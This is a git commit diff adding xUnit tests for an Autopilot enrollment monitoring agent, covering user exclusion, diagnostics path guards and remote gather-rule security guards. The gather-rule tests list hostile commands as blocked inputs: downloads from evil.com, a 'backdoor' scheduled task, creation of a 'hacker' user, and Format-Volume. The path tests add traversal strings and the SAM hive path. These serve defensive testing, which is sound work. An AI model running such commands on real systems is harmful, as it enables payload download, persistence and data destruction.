mirror of
https://github.com/okieselbach/AutopilotMonitor.git
synced 2026-10-24 04:32:32 +00:00
added agent unit tests
This commit is contained in:
@@ -23,6 +23,8 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Functions.
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.SummaryDialog", "src\Agent\AutopilotMonitor.SummaryDialog\AutopilotMonitor.SummaryDialog.csproj", "{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "AutopilotMonitor.Agent.Core.Tests", "src\Agent\AutopilotMonitor.Agent.Core.Tests\AutopilotMonitor.Agent.Core.Tests.csproj", "{89BDAC07-A666-4708-A9D3-A956A89A4E4D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
@@ -105,6 +107,18 @@ Global
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x64.Build.0 = Release|Any CPU
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E}.Release|x86.Build.0 = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x64.Build.0 = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D}.Release|x86.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
@@ -116,6 +130,7 @@ Global
|
||||
{4AF25FD4-6BCC-44F1-BDFB-E10DA9CF620B} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{7252A85F-60EC-4CFA-B3A6-A204241FFBBC} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{B1C2D3E4-F5A6-4B7C-8D9E-0F1A2B3C4D5E} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{89BDAC07-A666-4708-A9D3-A956A89A4E4D} = {096B6098-F141-7114-B090-72D1899D8853}
|
||||
{FE360695-3F2B-1049-3887-35FBB5135923} = {827E0CD3-B72D-47B6-A68D-7590B98EB39B}
|
||||
{4BA82F07-39A9-4B80-A12D-3D4E4ACE6682} = {FE360695-3F2B-1049-3887-35FBB5135923}
|
||||
{E3E0A5D8-4899-4F41-9D5F-CB858EF9F091} = {FE360695-3F2B-1049-3887-35FBB5135923}
|
||||
|
||||
@@ -38,6 +38,11 @@
|
||||
PowerShell 5.1 (IME) reads scripts without BOM as ANSI, corrupting multi-byte chars.
|
||||
|
||||
.CHANGELOG
|
||||
2026-03-31 Replaced OS age + MDM pre-flight checks with multi-signal guard:
|
||||
registry deployment marker, OOBE state, WMI/filesystem user profile
|
||||
detection, and 12h bootstrap window. Fixes ghost sessions on hybrid
|
||||
join pre-provisioned devices where Intune re-targets the bootstrap
|
||||
script after self-destruct.
|
||||
2026-03-30 Fixed non-ASCII characters (em-dashes, Unicode symbols) that broke
|
||||
script parsing under PowerShell 5.1 / IME AgentExecutor
|
||||
2026-03-29 Hardened integrity check: SHA-256 verification via version.json
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net48</TargetFramework>
|
||||
<LangVersion>latest</LangVersion>
|
||||
<IsPackable>false</IsPackable>
|
||||
</PropertyGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Microsoft.NET.Test.Sdk" Version="17.11.1" />
|
||||
<PackageReference Include="xunit" Version="2.9.2" />
|
||||
<PackageReference Include="xunit.runner.visualstudio" Version="2.8.2">
|
||||
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
|
||||
<PrivateAssets>all</PrivateAssets>
|
||||
</PackageReference>
|
||||
</ItemGroup>
|
||||
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\AutopilotMonitor.Agent.Core\AutopilotMonitor.Agent.Core.csproj" />
|
||||
<ProjectReference Include="..\..\Shared\AutopilotMonitor.Shared\AutopilotMonitor.Shared.csproj" />
|
||||
</ItemGroup>
|
||||
|
||||
</Project>
|
||||
+128
@@ -0,0 +1,128 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Collectors;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests user exclusion logic for desktop arrival detection.
|
||||
/// Prevents: SYSTEM/service account explorer.exe triggering false desktop arrival,
|
||||
/// real users being incorrectly filtered.
|
||||
/// </summary>
|
||||
public class DesktopArrivalDetectorTests
|
||||
{
|
||||
// -- System and service accounts must be excluded --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_System_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DomainBackslashSystem_True()
|
||||
{
|
||||
// Domain prefix must be stripped before checking
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\SYSTEM"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_LocalService_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("LOCAL SERVICE"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\LOCAL SERVICE"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_NetworkService_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("NETWORK SERVICE"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(@"NT AUTHORITY\NETWORK SERVICE"));
|
||||
}
|
||||
|
||||
// -- DefaultUser* pattern (OOBE temp accounts) --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUser0_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUser1_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser1"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUserAnyNumber_True()
|
||||
{
|
||||
// StartsWith("DefaultUser") should match any suffix
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("DefaultUser99"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_DefaultUser_CaseInsensitive()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("DEFAULTUSER0"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("defaultuser0"));
|
||||
}
|
||||
|
||||
// -- Real users must NOT be excluded --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_RealUser_False()
|
||||
{
|
||||
Assert.False(DesktopArrivalDetector.IsExcludedUser(@"CONTOSO\john.doe"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_LocalRealUser_False()
|
||||
{
|
||||
Assert.False(DesktopArrivalDetector.IsExcludedUser("johndoe"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_AzureAdUser_False()
|
||||
{
|
||||
Assert.False(DesktopArrivalDetector.IsExcludedUser(@"AzureAD\user@contoso.com"));
|
||||
}
|
||||
|
||||
// -- Edge cases (fail-safe) --
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_Null_True()
|
||||
{
|
||||
// Null/empty must be excluded (fail-safe — no user = not a real user)
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(null));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_Empty_True()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_SystemCaseInsensitive()
|
||||
{
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("system"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("System"));
|
||||
Assert.True(DesktopArrivalDetector.IsExcludedUser("SYSTEM"));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsExcludedUser_BackslashAtEnd_ExtractsEmpty()
|
||||
{
|
||||
// Trailing backslash: "DOMAIN\" → empty username after split
|
||||
// Should be excluded (empty = fail-safe)
|
||||
// Note: LastIndexOf finds \, substring after is empty
|
||||
// But the code checks backslashIndex < fullUserName.Length - 1
|
||||
// so "DOMAIN\" with backslash at last position would keep the full string
|
||||
var result = DesktopArrivalDetector.IsExcludedUser(@"DOMAIN\");
|
||||
// The method keeps "DOMAIN\" as the full name since backslash is at last position
|
||||
// This won't match any excluded name, so it returns false (treated as unknown user)
|
||||
// This is acceptable — WMI won't return "DOMAIN\" for a real process
|
||||
Assert.False(result);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Collectors;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests path validation for diagnostics log collection.
|
||||
/// Prevents: path traversal, privacy leaks via C:\Users, SAM hive exfiltration.
|
||||
/// </summary>
|
||||
public class DiagnosticsPathGuardsTests
|
||||
{
|
||||
// -- Allowed paths --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_AutopilotMonitorLogs_True()
|
||||
{
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\AutopilotMonitor\Logs\agent.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_ImeLogs_True()
|
||||
{
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_WindowsPanther_True()
|
||||
{
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\Windows\Panther\setupact.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
// -- Hard-blocked paths --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_UsersDir_AlwaysBlocked()
|
||||
{
|
||||
// Must be blocked even in unrestricted mode (privacy protection)
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\Users\admin\Documents\secret.docx", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_SystemConfig_Blocked()
|
||||
{
|
||||
// SAM, SECURITY, SYSTEM hives must always be blocked
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\Windows\System32\config\SAM", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
// -- Path traversal --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_Traversal_Blocked()
|
||||
{
|
||||
// Traversal via ".." after allowed prefix must be caught by GetFullPath normalization
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\AutopilotMonitor\..\..\Users\admin\file.txt");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_EnvironmentVariable_Expanded()
|
||||
{
|
||||
// %ProgramData% should expand to C:\ProgramData
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"%ProgramData%\AutopilotMonitor\Logs\agent.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
// -- Edge cases --
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_WhitespaceOnly_Blocked()
|
||||
{
|
||||
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(" "));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_NullOrEmpty_Blocked()
|
||||
{
|
||||
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(null));
|
||||
Assert.False(DiagnosticsPathGuards.IsDiagnosticsPathAllowed(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_WildcardInFilename_Allowed()
|
||||
{
|
||||
// Wildcards in the last path segment should be supported
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\ProgramData\AutopilotMonitor\Logs\*.log");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_UnrestrictedMode_AllowsNonBlocked()
|
||||
{
|
||||
// In unrestricted mode, non-hard-blocked paths should be allowed
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\SomeRandomDir\logs\file.txt", unrestrictedMode: true);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsDiagnosticsPathAllowed_UnallowedDir_Blocked()
|
||||
{
|
||||
// Random directory not in allowlist should be blocked in normal mode
|
||||
var result = DiagnosticsPathGuards.IsDiagnosticsPathAllowed(
|
||||
@"C:\SomeRandomDir\logs\file.txt");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Collectors;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Collectors
|
||||
{
|
||||
/// <summary>
|
||||
/// Tests security guards for remote gather rules.
|
||||
/// Prevents: path traversal, prefix spoofing, command injection, privacy leaks.
|
||||
/// Critical: segment-bounded matching ensures SOFTWARE\MicrosoftEvil doesn't match SOFTWARE\Microsoft.
|
||||
/// </summary>
|
||||
public class GatherRuleGuardsTests
|
||||
{
|
||||
// -- Registry path guards --
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_KnownPrefix_True()
|
||||
{
|
||||
// SOFTWARE\Microsoft\Enrollments is a known allowed prefix from guardrails.json
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(
|
||||
@"SOFTWARE\Microsoft\Enrollments\{some-guid}\FirstSync");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_ExactPrefixMatch_True()
|
||||
{
|
||||
// Exact match on prefix (no trailing segment)
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\Enrollments");
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_SegmentBounded_BlocksSpoofing()
|
||||
{
|
||||
// SOFTWARE\Microsoft\EnrollmentsEvil must NOT match SOFTWARE\Microsoft\Enrollments
|
||||
// because the character after "Enrollments" is 'E', not '\'
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(@"SOFTWARE\Microsoft\EnrollmentsEvil\Backdoor");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_UnrestrictedMode_AllAllowed()
|
||||
{
|
||||
var result = GatherRuleGuards.IsRegistryPathAllowed(
|
||||
@"SOME\RANDOM\PATH", unrestrictedMode: true);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsRegistryPathAllowed_EmptyPath_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsRegistryPathAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsRegistryPathAllowed(""));
|
||||
}
|
||||
|
||||
// -- File path guards --
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_DirectoryTraversal_Blocked()
|
||||
{
|
||||
// Path normalization via GetFullPath should catch ".." traversal
|
||||
var result = GatherRuleGuards.IsFilePathAllowed(
|
||||
@"C:\ProgramData\Microsoft\IntuneManagementExtension\..\..\..\..\Users\admin\secrets.txt");
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_UsersDir_AlwaysBlocked()
|
||||
{
|
||||
// C:\Users must be blocked even in unrestricted mode (privacy protection)
|
||||
var result = GatherRuleGuards.IsFilePathAllowed(
|
||||
@"C:\Users\admin\Documents\file.txt", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_SystemConfig_AlwaysBlocked()
|
||||
{
|
||||
// SAM/SECURITY hives must always be blocked
|
||||
var result = GatherRuleGuards.IsFilePathAllowed(
|
||||
@"C:\Windows\System32\config\SAM", unrestrictedMode: true);
|
||||
|
||||
Assert.False(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsFilePathAllowed_EmptyPath_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsFilePathAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsFilePathAllowed(""));
|
||||
}
|
||||
|
||||
// -- Command guards --
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_HardBlocked_EvenUnrestricted()
|
||||
{
|
||||
// Download commands must be blocked regardless of unrestricted mode
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Invoke-WebRequest http://evil.com/payload.exe", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Invoke-RestMethod http://evil.com/api", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"certutil -urlcache -split -f http://evil.com/payload.exe", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_PersistenceMechanisms_Blocked()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"schtasks /create /tn backdoor /tr evil.exe", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Register-ScheduledTask -TaskName backdoor", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_UserManipulation_Blocked()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"New-LocalUser -Name hacker -NoPassword", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"net user hacker password123 /add", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_MaxLength_Blocked()
|
||||
{
|
||||
var longCommand = new string('A', 2001);
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(longCommand, unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_ExactMaxLength_Allowed()
|
||||
{
|
||||
// Exactly 2000 chars should pass the length check (blocked by allowlist, but not by length)
|
||||
var exactCommand = new string('A', 2000);
|
||||
|
||||
// Won't be in allowlist, but should NOT be blocked by length guard
|
||||
// In unrestricted mode, should be allowed (passes both length and hard-block checks)
|
||||
Assert.True(GatherRuleGuards.IsCommandAllowed(exactCommand, unrestrictedMode: true));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_EmptyCommand_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(""));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsCommandAllowed_DestructiveOps_Blocked()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Remove-Item -Recurse C:\\ImportantData", unrestrictedMode: true));
|
||||
|
||||
Assert.False(GatherRuleGuards.IsCommandAllowed(
|
||||
"Format-Volume -DriveLetter C", unrestrictedMode: true));
|
||||
}
|
||||
|
||||
// -- WMI query guards --
|
||||
|
||||
[Fact]
|
||||
public void IsWmiQueryAllowed_WhitespaceBoundary()
|
||||
{
|
||||
// "Win32_OperatingSystemXXX" must NOT match "SELECT * FROM Win32_OperatingSystem"
|
||||
// because after the class name there must be whitespace or end of string
|
||||
var allowed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystem");
|
||||
var spoofed = GatherRuleGuards.IsWmiQueryAllowed("SELECT * FROM Win32_OperatingSystemXXX");
|
||||
|
||||
// The allowed query should be allowed if it's in the guardrails
|
||||
// The spoofed query must NOT be allowed (boundary check)
|
||||
if (allowed) // Only test spoofing if the base query is allowed
|
||||
Assert.False(spoofed);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsWmiQueryAllowed_UnrestrictedMode_AllAllowed()
|
||||
{
|
||||
var result = GatherRuleGuards.IsWmiQueryAllowed(
|
||||
"SELECT * FROM SomeRandomClass", unrestrictedMode: true);
|
||||
|
||||
Assert.True(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void IsWmiQueryAllowed_EmptyQuery_False()
|
||||
{
|
||||
Assert.False(GatherRuleGuards.IsWmiQueryAllowed(null));
|
||||
Assert.False(GatherRuleGuards.IsWmiQueryAllowed(""));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Tests.Helpers
|
||||
{
|
||||
/// <summary>
|
||||
/// Minimal AgentLogger for test use. Writes to a temp directory that is auto-cleaned.
|
||||
/// </summary>
|
||||
internal static class TestLogger
|
||||
{
|
||||
private static readonly Lazy<AgentLogger> _instance = new Lazy<AgentLogger>(() =>
|
||||
{
|
||||
var dir = Path.Combine(Path.GetTempPath(), "autopilot-test-logs-" + Guid.NewGuid().ToString("N"));
|
||||
return new AgentLogger(dir);
|
||||
});
|
||||
|
||||
public static AgentLogger Instance => _instance.Value;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
# Agent Unit Tests
|
||||
|
||||
## Overview
|
||||
|
||||
This test suite protects the Autopilot Monitor Agent against regressions in the enrollment state machine, security guards, log parsing, and crash recovery. The agent runs on real enrollment devices where debugging is difficult — these tests catch bugs before deployment.
|
||||
|
||||
**Framework:** xUnit 2.9.2 | **Target:** .NET Framework 4.8 | **Mocking:** None (pure logic tests with callbacks)
|
||||
|
||||
## Risk Matrix
|
||||
|
||||
| Risk Category | Concrete Bug | Test Suite | Impact |
|
||||
|---|---|---|---|
|
||||
| **Double enrollment events** | Two `enrollment_complete` = corrupted session data | CompletionTests | Session data corruption in backend |
|
||||
| **Hybrid Join false-completion** | ESP exit during mid-enrollment reboot triggers premature completion | CompletionTests (Reboot Gate) | Agent self-destructs before enrollment finishes |
|
||||
| **ESP resumption missed** | After hybrid join reboot: Hello state not reset, stale timers fire | EventHandlerTests | Wrong completion signals |
|
||||
| **Phase bleed** | Device-phase apps appear in AccountSetup timeline | AppPackageStateListTests | Incorrect enrollment timeline |
|
||||
| **Security bypass** | Path traversal in gather rules or diagnostics collection | GatherRuleGuardsTests, DiagnosticsPathGuardsTests | Data exfiltration from device |
|
||||
| **Wrong device-only classification** | 3-boolean decision tree misclassifies deployments | CompletionTests | Thousands of deployments affected |
|
||||
| **Premature completion** | Desktop signal triggers completion while ESP is still active | CompletionTests (ESP Gate) | Enrollment fails silently |
|
||||
| **Endless enrollment wait** | Hello not configured but agent waits indefinitely | CompletionTests | Zombie agent until 6h timeout |
|
||||
| **Log parsing crash** | Unexpected date format in IME log | CmTraceLogParserTests | Agent stops processing events |
|
||||
| **State loss after crash** | Hybrid join flag, signal timestamps lost on restart | PersistenceTests | Duplicate events, wrong completion path |
|
||||
| **Prefix spoofing** | `SOFTWARE\MicrosoftEvil` matches `SOFTWARE\Microsoft` prefix | GatherRuleGuardsTests | Unauthorized registry access |
|
||||
| **Desktop false-positive** | SYSTEM account explorer.exe triggers desktop arrival | DesktopArrivalDetectorTests | Premature enrollment completion |
|
||||
|
||||
## Test Suites
|
||||
|
||||
### AppPackageStateTests
|
||||
|
||||
**File:** `Tracking/AppPackageStateTests.cs`
|
||||
**Source:** `Monitoring/Tracking/AppPackageState.cs`
|
||||
|
||||
Tests app installation state transition guards. Prevents illegal state downgrades, broken auto-skip logic for inverse-detection apps, and incorrect upgrade-only protection from Win32AppState simplification.
|
||||
|
||||
### AppPackageStateListTests
|
||||
|
||||
**File:** `Tracking/AppPackageStateListTests.cs`
|
||||
**Source:** `Monitoring/Tracking/AppPackageStateList.cs`
|
||||
|
||||
Tests phase isolation (ignore list), dependency cascade (Error/Postponed propagation), circular dependency protection, and completion detection including auto-skip of untouched dependency-only packages.
|
||||
|
||||
### CmTraceLogParserTests
|
||||
|
||||
**File:** `Tracking/CmTraceLogParserTests.cs`
|
||||
**Source:** `Monitoring/Tracking/CmTraceLogParser.cs`
|
||||
|
||||
Tests CMTrace log format parsing used for IME log files. Covers single-digit months (M-d-yyyy), fractional second truncation (>7 digits), and graceful handling of non-CMTrace lines.
|
||||
|
||||
### LogFilePositionTrackerTests
|
||||
|
||||
**File:** `Tracking/LogFilePositionTrackerTests.cs`
|
||||
**Source:** `Monitoring/Tracking/LogFilePositionTracker.cs`
|
||||
|
||||
Tests incremental log file reading: position tracking, log rotation detection (file shrinks), and crash recovery via position restoration.
|
||||
|
||||
### GatherRuleGuardsTests
|
||||
|
||||
**File:** `Collectors/GatherRuleGuardsTests.cs`
|
||||
**Source:** `Monitoring/Collectors/GatherRuleGuards.cs`
|
||||
|
||||
Tests security guards for remote gather rules. Critical: segment-bounded matching prevents prefix spoofing, C:\Users always blocked (even unrestricted), hard-blocked command patterns (Invoke-WebRequest etc.) apply in all modes, max command length enforced.
|
||||
|
||||
### DiagnosticsPathGuardsTests
|
||||
|
||||
**File:** `Collectors/DiagnosticsPathGuardsTests.cs`
|
||||
**Source:** `Monitoring/Collectors/DiagnosticsPathGuards.cs`
|
||||
|
||||
Tests path validation for configurable diagnostics collection. Path traversal prevention via GetFullPath normalization, C:\Users hard block, System32\config hard block, environment variable expansion.
|
||||
|
||||
### DesktopArrivalDetectorTests
|
||||
|
||||
**File:** `Collectors/DesktopArrivalDetectorTests.cs`
|
||||
**Source:** `Monitoring/Collectors/DesktopArrivalDetector.cs`
|
||||
|
||||
Tests user exclusion logic. SYSTEM, LOCAL SERVICE, DefaultUser*, domain-prefixed accounts must be excluded. Real users (CONTOSO\john.doe) must not be filtered. Null/empty = excluded (fail-safe).
|
||||
|
||||
### EnrollmentStatePersistenceTests
|
||||
|
||||
**File:** `Tracking/EnrollmentStatePersistenceTests.cs`
|
||||
**Source:** `Monitoring/Tracking/EnrollmentStatePersistence.cs`
|
||||
|
||||
Tests state serialization round-trip including all fields (IsHybridJoin, signal timestamps, SignalsSeen list). Verifies graceful handling of missing files and corrupt JSON.
|
||||
|
||||
## Architecture Notes
|
||||
|
||||
- **No mocking framework needed** — the agent uses `Action<EnrollmentEvent>` callbacks, making it easy to capture emitted events in tests
|
||||
- **`InternalsVisibleTo`** allows access to `internal` members like `DesktopArrivalDetector.IsExcludedUser`
|
||||
- **State machine tests** use `EnrollmentStatePersistence` with temp directories to pre-load state, then trigger completion paths
|
||||
- All tests are **deterministic** (no timing, no OS calls) and **fast** (pure logic, minimal I/O)
|
||||
|
||||
## Running Tests
|
||||
|
||||
```bash
|
||||
dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/ --nologo -v quiet
|
||||
```
|
||||
@@ -0,0 +1,277 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Tracking;
|
||||
using Xunit;
|
||||
|
||||
